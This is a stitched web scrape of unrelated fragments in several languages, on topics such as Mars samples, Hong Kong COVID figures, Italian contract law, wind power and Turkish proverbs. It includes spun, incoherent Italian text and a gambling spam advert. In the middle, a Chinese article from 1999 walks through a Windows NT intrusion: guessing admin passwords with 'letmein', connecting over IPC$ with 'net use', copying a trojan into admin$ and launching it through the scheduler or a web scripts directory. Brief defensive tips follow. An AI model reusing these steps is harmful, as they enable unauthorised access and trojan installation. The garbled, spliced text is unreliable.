‘However, the genes coming to the flowers represent a broad swath of functions, including respiration, metabolism and perhaps some useful for defence. If so, these findings might reflect a sort of genomic camouflage, or genomic mimicry for the parasite.’
Whatevr the corpse plant’s motives, we’re willing to bet they’re not good. Feeeeeeeeeeeedddd meeeehh, Grapevine!
So remember, kids: don’t feed the plants. Especially not with bits of your genetic code; who knows what they might get up to.been more than
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�انس فضایی اروپا در اطلاعیه ای اظهار داشت: بازگرداندن این نمونه ها به لابراتوار به ما در پیشرفت در علم و درک منطقه خاص جیزرو کمک می نماید. ما همین طور می توانیم در مورد شرایط محیطی مریخ در زمانی که حیات در زمین و شاید در سیاره سرخ ظاهر شده است، اطلاعات بیشتری کسب نماییم.
دهانه جیزرو محل یک دریاچه باستانی است و دانشمندان براین باورند که زمانی می توانسته میزبان حیات بوده باشد. برای کسب اطلاعات بیشتر در مورد این که آیا واقعاً حیات در مریخ باستانی رشد کرده است یا خیر، دانشمندان باید نمونه هایی را به لابراتوار های زمینی برسانند تا آزمایش های دقیق تری نسبت به آزمایش هایی که روی مریخ نورد امکان پذیر است، انجام دهند.
این مریخ نورد بعد از رها کردن نمونه ها به کاوش و جمع آوری نمونه های بیشتری خواهد پرداخت. کن فارلی(Ken Farley)، دانشمند پروژه استقامت از موسسه فناوری کالیفرنیا، می گوید: بااینکه بعد از رها شدن این لوله ها به یک نقطه عطف مهم دست یافته ایم اما این به مفهوم پایان جستجوهای استقامت یا جمع آوری نمونه نیست. ما بعد از این ماموریت، به بالای دلتا و به منطقه ای می رویم که باتوجه به تصاویر ماهواره ای از نظر زمین شناسی غنی به نظر می رسند و در آن به تحقیقات علمی می پردازیم و هسته های سنگی بیشتری را جمع آوری می نماییم.
منبع: اسمارت كاور
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نظرات بینندگان در مورد این مطلب抵抗新冠状肺炎香港新冠状肺炎的病例累计突破5000件香港大实验室病毒研究员，中新社香港9月19日电记者韩星童香港特区政府卫生署卫生防护中心报告，香港当天新增13件新冠状肺炎确诊病例，累计确诊突破5000件。当天确诊的病例包括香港大学香港大学公共卫生学院实验室的病毒研究员，但她在潜伏期间没有处理传染性病毒样品。新增的13个病例中，9个是输入病例，4个是当地病例。
当地病例中的一个与以前确诊的病例有关，另外三个来源不明。香港累计确诊病例增加到5009件。
3起不明来源的病例，包括23岁的女性印刷雇佣在内，和雇主一起住在鞍山，平时多在家，14日休假时和两个朋友去旺角、深水浒和尖沙咀买东西吃饭的79岁退休女性，住在屯门友爱，11日开始发烧，潜伏期间去过友爱百货商店她住在西营盘，平时除了上班，潜伏期间还和朋友吃过饭和购物。香港特区政府卫生局卫生防护中心传染病主任张竹君表示，该研究人员平日处理灭活的新冠状病毒样本和基因排序，将资料输入计算机。
实验室工作人员每周接受病毒检查，上次检查为10日，该研究人员当时检查结果为阴性，相信最近感染了。据推测，她在14天内没有处理过感染性的样品。张竹君说，暂时没有证据表明感染源来自实验室。张竹君还表示，与该研究人员共享计算机的同事，以前的样品检查结果不确定，反复检查后暂时呈阴性，如果继续阴性没有症状，将被送往检疫中心隔离观察。
其他与该研究员接触的同事、朋友和家人被列为密切接触者，也被送往检疫中心。香港医院管理局医务管理局总行政经理宇慧玲宣布，截至上午9点，过去24小时，医务管理局报告了24起疑似病例。目前仍有158名确诊患者分别在17家医院留医，其中13人危险，10人严重，其馀135人稳定。
完编辑：陈海峰。
本文来源：鸭脖app-www.duttabuilders.com防止远程入侵Windows NT
防止远程入侵Windows NT
作者:Billows 1999/03/12
微软推出的Windows NT系统平台，曾经在网络组建上风靡一时，至今还有许多的网络系统使用它，但它的网络漏洞在微软的不断补丁下依然存在，每当我们为它打上微软的补丁后，新的漏洞又出现了。而利用这些漏洞进行网络远端入侵也是相当简单的事了。
现在我们来看看如何远端入侵Windows NT主机！
攻击步骤：
首先，我们要攻击远端目标当然得知道对方得IP地址了，你可以使用各种扫描工具查找目标机器的IP地址，这里因为重点不是它所以就不多说了。
在确定攻击目标后，使用Windows NT自带的命令取得远端目标的用户列表资源，分析取得的列表资源，尝试取得管理员权限。letmein命令用于通过指定的密码远程登录服务器，并读取服务器上的用户信息，配以不同的参数，可以获取相应的控制权。例如：
letmein file://x.x.x.x/ -all -g mypwd(将查看//x.x.x.x上的所有用户账户列表，并试图通过参数后面跟随的密码取得管理员的控制权)
letmein file://x.x.x.x/ -admin -g mypwd
(可以查看//x.x.x.x上管理员的账户列表，并试图通过参数后面跟随的密码取得管理员的控制权。)
letmein file://x.x.x.x/ -all -d mypwd
(试图通过参数后面跟随的密码取得用户控制权，并显示//x.x.x.x上所有用户名列表。)
当使用letmein命令获取相关管理员权限后，使用Windows提供的标准命令连接远程资源并将木马拷入远程目标，你可以使用的木马是很多的，这里不作介绍了，具体的命令是：
net use //x.x.x.x/ipc$ "pass"/user:"user" (利用刚刚猜解到的用户名和密码登录//x.x.x.x主机)
copy x:/netserver.exe //x.x.x.x/admin$/system32(拷贝本地木马程序netserver.exe到远端//x.x.x.x的管理员目录下)
再使用合法Windows NT命令远程启动刚才考入的木马程序：
netsvc //x.x.x.x schedule /start at //x.x.x.x hh:mm netserver.exe/port:yourport /nomsg
在上面的命令中利用了Windows NT的任务计划管理，在指定的时间和指定的端口运行木马程序。
另一种方法：
将需要运行的木马或其他可执行程序Copy到远端服务器的www可执行目录下( 如cgi-bin或scripts等)，然后在浏览器键入远端连接url来运行木马程序，如：http://x.x.x.x/scripts/ntsrver.exe/port:yourport或http://x.x.x.x/cgi-gin/ntsrver.exe/port:yourport等。
到此，该次入侵可以算成功了，远程资源已在自己的控制下。
攻击原理：
简单分析一下这次攻击的过程，不难看出，关键步骤是利用letmein取得admin权限，但是很不幸，就目前部分的采用Windows NT系统平台服务器而言，所采用的网络管理密码，利用破解工具仅仅多花几分钟就能破解掉。同时，通过对某些大的公共平台服务器进行测试扫描的结果，使用Windows NT系统平台的服务器，其管理密码被letmein猜中率有75%以上。而且在这些被进入的机器上，SMB(文件和打印共享)又都是运行在TCP/IP协议上，而且只有部分服务器有配备火墙，一般没有封闭对外的137∽139端口，从而给网络入侵留下了后门。
防范措施：
1.管理人员应该及时检查日记和监控服务的运行，定时对文件系统的权限受托关系进行检查。
2.对密码的选择有一个好的习惯。一个好的密码必须包括下面的内容：好记忆、不易被猜到、易输入，至于怎么才能作到，很多文章都有介绍的，这里就不多讲。
3.适当配置NT网络服务，特别是TCP/IP协议，尽量不要在对外的服务上绑定共享服务。
4.防火墙的配置要合理，屏蔽一切不需要的服务端口，像在TCP/IP上的137∽139端口，开这些端口只会使你的系统处于危险的处境，如果必须要在远程使用这些端口的服务，建议使用其他软件来代替，而不是单纯使用系统内定的服务。REMOTE SENSING ALLOWS FOR THE ACCURATE DETECTION OF REAL-WORLD EMISSIONS FOR THOUSANDS OF VEHICLES ON A DAILY BASIS.
Hager Environmental & Atmospheric Technology (HEAT)'s Emission Detection and Reporting (EDAR) system is an eye-safe, laser-based technology capable of remotely detecting and measuring the infrared
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temporaneo. Infatti, se l'inadempimento persiste condurrà alla risoluzione del contratto, mentre se l'inadempimento cessa anche il diritto di autotutela cessa. Infine, se l'inadempimento non esisteva ab origine o non era tale da giustificare l'eccezione, l'eccipiente sarà tenuto all'adempimento o sarà esposto all'azione di risoluzione per inadempimento a lui imputabile.
L'exceptio inadimpleti contractus non può, di conseguenza, mai avere effetti liberatori, ma solo effetti sospensivi transeunti della "forza di legge" del contratto. Gli effetti liberatori potranno scaturire solo dalla risoluzione del contratto, sia essa giudiziale, automatica o consensuale.
Avv. Andrea Diamante
Cultore della materia in diritto processuale penale
presso l’Università degli Studi di Enna “Kore”
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1 Così già Cass. 2.10.1951 n. 2595; in seguito nello stesso senso, ex permultis, Sez. 2, Sentenza n. 1308 del 21/02/1983, Rv. 426104 - 01, ove il tema è ampiamente trattato; nonchè, in termini più sintetici, Sez. 2 -, Ordinanza n. 21315 del 14/09/2017, Rv. 645426 - 01; Sez. L, Sentenza n. 11430 del 16/05/2006, Rv. 589056 - 01; Sez. 3, Sentenza n. 1690 del 26/01/2006, Rv. 587847 – 01.
2 Ex multis, Sez. 1, Sentenza n. 2720 del 04/02/2009, Rv. 606502 - 01; Sez. 3, Sentenza n. 16822 del 10/11/2003, Rv. 567989 – 01.
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Di seguito il testo diAfter a meeting last week in Luxembourg, the board of the European Investment Bank (EIB) changed its energy lending policy. The EU’s main lending arm said it would stop financing most coal-fired power stations to help reduce pollution and meet climate targets, and devote 90% of its lending to clean energy.
In a press release, the EIB says it ‘will focus on financing energy efficiency, renewable energy, energy networks, as well as related research and innovation. These sectors are expected to require the most significant investment in coming years’.
According to the Guardian the EIB has loaned around €11bn ($14.5bn) to fossil fuel-fired plants since 2007, most of it to gas rather than coal, out of its total lending for power of €83bn.
Growing interest in the rapidly-expanding offshore wind sector took a new twist earlier this week when the website of the influential US magazine Popular Science published an article featuring marine-based wind turbine concepts with “super-chic lofts for employees.”
The article said that a Bulgarian design firm predicts a future in which gigantic offshore wind turbines come equipped with futuristic housing for workers.
“Part of the inspiration for these lofts was a European Wind Energy Association (EWEA) report estimating that by 2030, there will be over 300,000 jobs in offshore wind power,” the article said.
In fact, the European wind industry faces a severe skills shortage of around 7,000 appropriately qualified staff per year. This shortfall could climb to 15,000 by 2030 — nearly 2% of the entire wind industry workforce — if numbers of suitable workers don’t increase.
Greenhouse gases produced over the lifetime of a wind turbine – including for its manufacturing and installation – are less than that of fossil-fuel based energy sources and most other renewables, a new study from the US shows. Only ocean energy (wave and tidal) and hydropower have lower emissions than wind.
As a clean, fuel-free source of energy, wind turbines obviously create energy without generating the damaging pollutants that result from burning coal, gas and other fossil fuels. But a charge often leveled by anti-wind energy groups is that the manufacture and erection of wind turbines creates emissions on a scale that belies the idea that wind power is clean.
The Life Cycle Assessment (LCA) study by the National Renewable Energy Laboratory shows that wind energy‘s lifecycle greenhouse gas emissions are a small percentage of those of fossil fuels, lower than nuclear, and even lower than nearly all other renewable energy resources. From cradle to grave, coal-fired electricity releases about 20 times more greenhouse gases per kilowatt-hour than wind or solar, for example (based on median estimates for each technology). See the study for further details.
The release of EWEA’s offshore statistics for the first half of 2013 generated a lot of column inches around the world. The headlines were generally positive, reporting on the 277 offshore wind turbines newly grid connected in the first six months of this year. But the articles did not shy away from reporting on the warning signs evident in the sector, where financing of new projects has slowed down to a crawl.
Many reports focused on the details of new offshore capacity, compared with the same period last year. The first half of 2012 saw around 500 MW installed, so this year’s 1,045MW was a doubling of that figure. The total offshore capacity installed last year, at 1.2GW, has almost been surpassed in the first six months of this year, bringing the overall offshore capacity in Europe to 6.04GW across 58 wind farms in ten countries.
Philippe Martin is an important man. As France’s new environment minister, he occupies a key post in a government that will be pivotal in determining the EU’s post-2020 climate and energy policy.
While no official position will be presented before the elections, there are little doubts that Germany will come out in favour a binding 2030 renewable energy target – which is critical for investor confidence in the wind energy sector – but the UK is officially against. France currently supports such a target but only at a later stage, after a greenhouse gas reduction target is in place.
The French government needs to realise the importance of setting three targets – for renewables, greenhouse gas reduction and energy efficiency – simultaneously, so that they can work together and mutually reinforce each other. Additionally, an ambitious three target package would highlight the EU’s leadership at the 2015 UN climate change meeting in Paris.Adesso guardava come la sua rovina si dispiega prima di lei. Guardato come il poliziotto emersero dalla sua auto con un sacchetto Ziploc di marihauna, 17 grammi ben, più un tubo di pentola di terracotta, più due bagagli scatenati EZY Dose Pill Pouch, una con 11 supplementi Percocet, un addizionale con 29 Vicodin.
29, 2016 per quanto riguarda l'assassinio di Dallas Martens del 18 settembre 2009 su kauai di Roatan, situato a circa 65 chilometri dalla costa nord dell'Honduras, Carles Felix Sandler è stato rilevato in ottobre. Ha detto che dal momento che aiutano il campo, mi sento come se avessimo Uno dei migliori corpi riceventi nel CFL, ha affermato Jorden. Crash, chiunque passi avanti sta per completare il compito.
Il ghiaccio aiuta a intorpidirlo, e riduce il gonfiore Balenciaga Sneakers Men riducendo Balenciaga Sneakers Men il suono delle orecchie, professionista medico. Ha dichiarato Gladstone. La coscia interna supporta il braccio superiore per aiutare ad isolare i bicipiti. Stringere l'abs e spingere indietro la schiena. 'Penso che io sia bloccato in questo esempio perché lo fa proprio dallo stato, e fastidioso che possiamo fare, intorno al 2011, Noemi era nelle loro parole un' studente di scuola secondaria 'molto sconosciuta' con un lavoro part-time ad un Ristorante fast food a Norfolk, Nebraska. 'Non avevo idea di quale sia il sesso, ha affermato.
California ha costruito un sistema 'no fault'. Chiunque sia ferito nel corso e nell'ambito del tuo impiego, hai diritto alle prestazioni di Compensazione dei lavoratori. Gli attacchi potrebbero essere ben preparati nel tempo, aspettando il momento migliore per scivolare, ma il timing era ancora essenziale, collegato sia alla contrazione continua di Il ciclo di notizie, che ha creato un appetito mediatico per una nuova storia prima che l'ultima fosse completamente lavorata, e ai piccoli pezzi di tempo consentiti dalle stazioni televisive per qualsiasi storia. Nel 1968, ogni candidato poteva essere ascoltato senza interruzioni Notizie di rete per 42,3 mentre, nel 2000, le dimensioni di un suono sonoro erano 7,8 minuti ..
Ci sono voluti sei anni per ottenere un tribunale che prima o poi ribattere la convinzione. E penso che parliamo a questa resistenza che abbiamo in questo paese a lottare con i nostri errori, per affrontare i nostri errori. Il filo di Nichrome è lo stesso tipo di filo che in un tostapane e lavora la verità che, come la corrente passa attraverso il filo riscaldare. Farò passare attraverso come ho deciso di collegare il forno in modo che possa essere facilmente fuggito da una normale presa a 120V domestica.
Già dopo, siamo scappati in Sicilia e abbiamo trascorso quando la nostra stessa lettura sulla terrazza sul tetto, poi ci siamo diretti per la pasta e per un viaggio. Questo anno straordinario, guarderemo l'opera per vedere l'Iphignie en Tauride risolutamente immondo. Un soldato turco del primo comandamento del confine di bordo aspetta la procedura indicata durante uno scenario di trapano allarme in un avamposto militare sul confine Turchia / Siria il 2 marzo 2017 in circa Kilis, Pollo. All'interno delle forze armate sono stati esercitati per esporre la nuova parete di frontiera e nuove misure di sicurezza come la scansione termica e le pattuglie dei nuovi veicoli di ricognizione Tactical Armored Reconnaissance (Kobra 2) che vengono impiegati per stringere la frontiera della Turchia.
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Home / Balenciaga Sneakers Men動物們竟有這樣的特殊能力，看起來比人類還靈敏，蜂鳥可以看見你所無法看見的光波…
動物們竟有這樣的特殊能力，看起來比人類還靈敏，蜂鳥可以看見你所無法看見的光波…
1、鯊魚：利用特殊細胞感受電場
鯊魚的大腦中存在著一種非常特殊的細胞，這種細胞對其它生物產生的電場極為敏感，可以讓它們通過其它生物的肌肉收縮產生的微弱的電場信號，發現隱藏獵物，因此，一些魚類即使藏在沙土中也能被鯊魚發現。
2、蜂鳥：可看到人類無法看到的光波
蜂鳥以及其它一些鳥類可以看見人類所無法看見的光波。在紫外線下，一些我們看起來顏色單調的圖案，鳥類看卻是彩色的。「哈勃」望遠鏡可以拍攝出紫外線圖像，但只有等到技術人員將單調的圖像彩色化，我們才可以欣賞到這一多彩的顏色。
3、鼓魚：用魚鰾聽取聲音
鼓魚等魚類可以用自己的魚鰾來聽取聲音。這種魚鰾的結構非常特殊，能夠探測到極其細微的聲音振動，然後再把這種振動由身體的骨骼傳遞到外耳，隨後進入內耳，再由內耳中的特殊毛髮，將振動轉化為聲音並傳遞給魚的大腦。
4、老鼠：用鬍鬚彌補視力
老鼠的視力非常糟糕，但它們可以通過鬍鬚來彌補這一缺陷。它們用嘴部前端的鬍鬚來探路，正如一些盲人利用拐杖在前方探路一樣。穿過物體時，就會觸動老鼠的鬍鬚，這樣，老鼠就可以對周圍的物體產生印象。
5、蛾蟲：可遠距離探測異性求愛信息
蛾蟲可以「愛在空氣中」，它們能探測到異性遠在7英里之外發出的求愛信號。這種信號在科學上被稱之為「信息素」。研究人員發現，雖然人類也可以探測到這種「信息素」，但只有
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یکی از قوم های تاریخی افغانستان. زیرا مزاری به این نام جنبه فرهنگی بخشید و گروه های انسانی ای که دارای مذهب های متفاوت بودند، با قبول مذهب شان به این هویت فرهنگی، نیز چسپیدند و این هویت (هزاره) برای شان یک هویت سیاسی – قومی شد. برای دیگران یعنی در کل برای افغانستان، یک اصطلاحی شد که پیام حکومت عادلانه و زندگی شهروندانه را تداعی می کند.
هزاره ها پس از مزاری، وارد تاریخ سیاسی افغانستان شدند و مراحلی را که یک قوم برای قوم شدن، سپری باید کند، سپری کردند یعنی برای نخستین بار در زندگی سیاسی، فرهنگی و قومی شان، رهبری، ظهور کرد. فقری را که هزاره ها در تاریخ روانی شان برای رهبر داشتند با ظهور مزاری این فقر از میان رفت و هزاره ها به اقتدار روانی رسیدند. رهبر، کسی است که یکبار در تاریخ ظهور می کند اما حضورش در تاریخ به عنوان اقتدار روانی، در روان پیروان اش همیشگی است. بنابراین، هزاره ها با حضور مزاری در تاریخ برای همیشه از رنج بی رهبری بی نیاز شدند. پس از مزاری دیگر هیچ نیازی نمی رود که ما رهبر داشته باشیم بلکه هرکسی که در زندگی سیاسی هزاره ها فعالیت می کند نه رهبر بلکه کسی است که خط مزاری را دنبال می کند.
یک رهبر، تنها زندگی اش برای پیروان اش مفهوم ساز نیست بلکه مرگ یک رهبر بیش از زندگی اش برای قوم اش مفهوم ساز است. زندگی و مرگ مزاری، مفهوم امروزی هزاره را به کمال رسانید. که این کمال، شامل این مفاهیم « نگرانی، تقصیر، بحران، وحدت و تجلی» می شود.
نگرانی، رهبر، پس از مرگ اش هم در باره سرنوشت مردم اش نگرانی دارد و این نگرانی، رجعت او را به سوی زندگی تامین می کند، سبب می شود تا در مرحله های سرنوشت ساز، تاثیرگذار باشد.
تقصیر، امری روانی است که به عنوان عذاب وجدان پیروان یک رهبر، نسبت به رهبر شان در ذهن دارند. این که چرا رهبر ما کشته شد و ما که این همه زنده بودیم و زنده هستیم، نتوانستیم هیچ کاری را برای جلوگیری از کشته شدن رهبر خود انجام دهیم. یا آنچه را که رهبر اراده داشت ما هنوز نتوانستیم اراده و نیت او را در زندگی خود عملی کنیم. بنابراین، این تقصیر، مردم را به رهبر نزدیک می کند. نگرانی رهبر برای سرنوشت مردم و تقصیر مردم برای ادا نشدن دینی که سزاوار رهبر است، نقطه وصل روانی رهبر و مردم در تاریخ فکری و روانی مردم می شود.
بحران، امری است که یک قوم در تاریخ واقعی شان و در روان شان به آن رو به رو استند. هزاره ها هنوز، از نظر موقعیت سیاسی و روانی در بحران به سر می برند، و موقعیت تاریخی شان هنوز هم به طور ملموس تهدید می شوند که نمونه آن تجاوز هر ساله کوچی است که با یک اراده بوم زدایی از هزاره ها صورت می گیرد. درک از بحران، و بحران، شامل حال تمام مردم یک قوم شدن، سبب تحکیم روابط افراد قوم می شود و برای قوم، تاریخ ساز عمل می کند.
وحدت، وحدت پس از درک یک قوم از بحران که تمام این قوم را تهدید می کند به میان می آید. در حقیقت نقطه وصلی است که یک قوم در همین نقطه که بحران و وحدت به هم می رسند، شکل می گیرد و ایجاد می شود. بنابراین، شناخت بحران، زمینه ساز وحدت می شود تا بحران شناخته نشود وحدت هم به میان نمی آید.
تجلی، تجلی موقعیت روانی رهبر در ذهن مردم اش است. موقعی بحران، رهبر از ذهن مردم اش، می تواند تجلی کند. یعنی در کل، ناخودآگاه جمعی یک قوم را برای پیروزی و رستگاری در موقع های خطرناک تاریخ، می سازد.
این همه مفاهیم برای ایجاد هویت هزاره با زندگی و مرگ مزاری به کامل رسید بنابراین، تاریخ هویت و تاریخ سیاسی هزاره، فراتر از تفاوت های مذهبی با مزاری و پس از مزاری به میان آمده است.
هزاره ها پس از مزاری، با آنکه در نظام سیاسی افغانستان سهمی داشته اما این سهم یک سهمی بنیادی نبوده است بلکه سهمی بوده که به عنوان وسیله از هزاره ها در حاکمیت در نظر گرفته شده یعنی دیگران از هزاره، برای این که بتواند حاکمیت را برای شان حفظ کرده باشد، استفاده کرده است. سردمداران حاکمیت، هنگامی که دچار مشکل در حفظ حاکمیت قومی شان شود به هزاره میل می کند اما موقعی که این دچار مشکل شدن، برای حاکمیت رفع شد، کم کم هزاره را می زند کنار. هم در نظام و هم در برخورد وکیلان مجلس، کنار زدن مهندسی شده هزاره ها از صحنه قدرت سیاسی افغانستان، مشهود است. هزاره ها به کاندید وزیران کرزی رای داد اما وکیلان طرفدار کرزی به کاندید وزیران هزاره رای نداد در حالی که کرزی بیشتر از صد وکیل طرفدار از قوم پشتون در مجلس دارد. حاکمیت، هزاره ها را با این کار، به مرگ می گیرد تا هزاره به تاو راضی شود.
در تاریخ هرودت آمده است که کروش در آغاز قدرت خود با رهبران چندین قوم ج
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Copyright by ExpertsMind IT Educational Pvt. Ltd.12bet什么叫双式投注-最新白菜网址 http://9989.co 在浏览器输入 9989.co 免费领取体验金 一家专门发放彩金的机构 联系QQ：2505579 当两名警察到场调停后，档主一度离开，但之后再度返回阻碍拍摄，他未有听妻子劝告，更难掩怒火跟警员有身体碰撞，在旁的川口春奈被吓得目瞪口呆。而其他档贩也加入战团大声叫嚣，企图骚扰工作人员收音，更有人要求摄制队付赔偿费才可继续拍摄。大队拍摄至二时三十分才离开，转往铜锣湾继续取景。及至入夜时分，有工作人员阻挡传媒镜头，有记者用闪灯拍摄，双方混乱间发生推撞，一名日方人员被相机夯伤头部。当然，两国国民相互之间的好感度不高，基本没有妨碍两国经济交往和人员往来。2010年，有373万日本人来华旅游，每天平均1万人左右;有141万中国人赴日旅游，比上年增长40%以上。2011年，受日本311大地震、海啸及核泄漏事故的影响，赴日旅游的中国人下降到104万人，但这个数字也仅次于2010年。而且在2011年10月后，赴日旅游人数又开始大幅攀升。昨日上午，海珠区法院审理了被告人卢从华、向贤刚制售假冒LV包的案件。指控称，2011年3月至9月，卢从华在未获得LOUISVUITTON注册商标所有人授权情况下，在自己开设的皮具厂内制造假冒LOUISVUITTON品牌的皮包，并销售给同案人袁某文（另案处理）。同年4月，向贤刚在明知上述情况下，仍受聘为该厂厂长，负责工厂的日常管理工作。期间，卢从华共向袁某文销售假冒LV皮包1087个（案值人民币122670元）。此外，公安人员当场缴获其未售出的假冒LV包660个（案值人民币73920元）。此后，4名暴徒冲出大院和门前巷道打砸烧毁车辆，在冲击镇政府时1人被击毙，另3人劫持一辆三轮摩托车转而冲向派出所，将派出所档案室和民警宿舍点火焚烧，被击毙。二炮专家：这个时间点太空环境的透明度高、能见度好，有利于进行试验。用我们的术语来说，这是一个窗口。一年间的窗口不是只有这个时间点，9月北方进入深秋后也比较好。Yal yiyen köpek tüyünden bellidir.
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* yal : Köpek ve sığırlara yedirilmek için un ve kepekle hazırlanan yiyecek.
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ATASÖZLERİ SÖZLÜĞÜ ANA SAYFA
DEYİMLER SÖZLÜĞÜ ANA SAYFA
Atasözü Nedir? Özellikleri Nelerdir?
Tanımı:
Atalarımızın uzun denemelere dayanan yargılarını, tecrübelerini, bilgece düşünce ya da öğüt olarak ifade eden ve kalıplaşmış biçimleri bulunan kamuca benimsenmiş özlü sözlerdir.
Atasözleri, biçim yönünden diğer yazı türlerine göre farklı özellikler gösterir. Öykü, roman, şiir, deneme gibi yazı türleri pek çok cümlenin bir araya gelmesi ve anlam yönünden bütünleşmesiyle oluşur. Buna karşın atasözleri genellikle bir, en fazla iki cümleden oluşur. Bütün duygu ve düşünceler bu tek cümleye sığdırılır. Bu cümleler kişiden kişiye değişmez. Halkın ortak malıdır ve halk tarafından aynı biçimde söylenir.Atasözleri hakkında daha fazla bilgi için buraya tıklayınLester B. Pearson High School has a highly successful Resource Program. The program is geared to students who have mild learning difficulties.
The Resource Program consists of two streams - students may be placed in integrated classes or they may be placed in enclosed classes. In either case, the students follow a regular grade level program with adaptations.
Integrated students have access to a Resource Room where they receive individual help with tests, quizzes, and projects.
Students may be placed in self-contained classes for Math, English, French, Science, Geography, and History from Secondary I to V.
These classes consist of a smaller group setting and students receive adaptations such as being read to, having extra time to complete tasks, and going at a slower pace to name a few.
All students in the Resource Program follow an IEP (Individual Education Plan) where specific objectives and strategies are outlined in order for students to receive necessary help and services.
Students are taught study skills, work habits, reading and writing strategies, and organizational skills which may be used in all classes.
Students write the regular midterm, final, and Ministry exams and will receive a high school diploma once they complete the necessary requirements to graduate.高清欧美纯爱片在线观看:铺设荷兰砖之前如何进行底层处理？
来源：/news/548.html 时间：2022-07-18
用铁和钢丝刷整理粘在底部的浮浆、掉在地板上的灰等，用扫帚把浮土打扫干净。
2、寻找高程
根据水平标准线和规划厚度，在周围女儿的墙上弹出地平面高程控制线。
3、摆砖
根据砖的大小将屋顶做得很大很细，排出砖的堆放处，在底层划出十字操作线和分格线。瓷砖必须符合计划的要求。如果计划没有要求，应防止出现板长不超过1/4边的边角料。
4、铺粘结层砂浆
铺设前湿润基底，基底涂刷素水泥浆或界面粘结剂，随刷随铺随搅拌均匀1:3水泥砂浆，厚度25mm。
5、铺砖
将荷兰砖放在结合层上，用橡胶锤找平后，提起砖，在干拌料中倒入适量水泥浆，同时在砖的背面涂上厚约1mm的水泥浆，在找平层砖的基础上，用橡胶锤按标高操作线放置铺砖时，先在屋面中心沿十字线铺设十字操作砖，再沿十字操作砖向四周铺设，随时用2m尺和水平尺看平整度。在大面积铺开时，应该按部就班、按部就班地铺开。
相关标签：荷兰砖,
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To appease the Irish bishops after the foundation of the three “godless” colleges in Dublin, Cork and Galway, a building grant of £30,000 was made available for Maynooth. It was the height of the Gothic Revival, and its leading exponent, Augustus Welby Pugin, was chosen as architect. He produced three sides of St. Mary’s Square in plain thirteenth-century Gothic. While it dominates the humbler earlier buildings, it is much plainer than Pugin’s dream. His greatest grievance was that he did not get to build his College Chapel. This project was to be given to Irish architect J.J McCarthy.
Pugin’s buildings at Maynooth are very severe and not particularly appealing. Their severity is perhaps more suited to a penitentary than a place of learning and religion.Son Dakika › Güncel › Suudi Arabistan, Yemen Büyükelçiliğini Aden'e taşıyacak - Son Dakika
Suudi Arabistan, Yemen Büyükelçiliğini Aden'e taşıyacak
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Son Dakika Görev başındaki polis, emniyetin tuvaletinde sevgilisiyle uygunsuz halde basıldı Didem Soydan'dan "Seninle cinsel il
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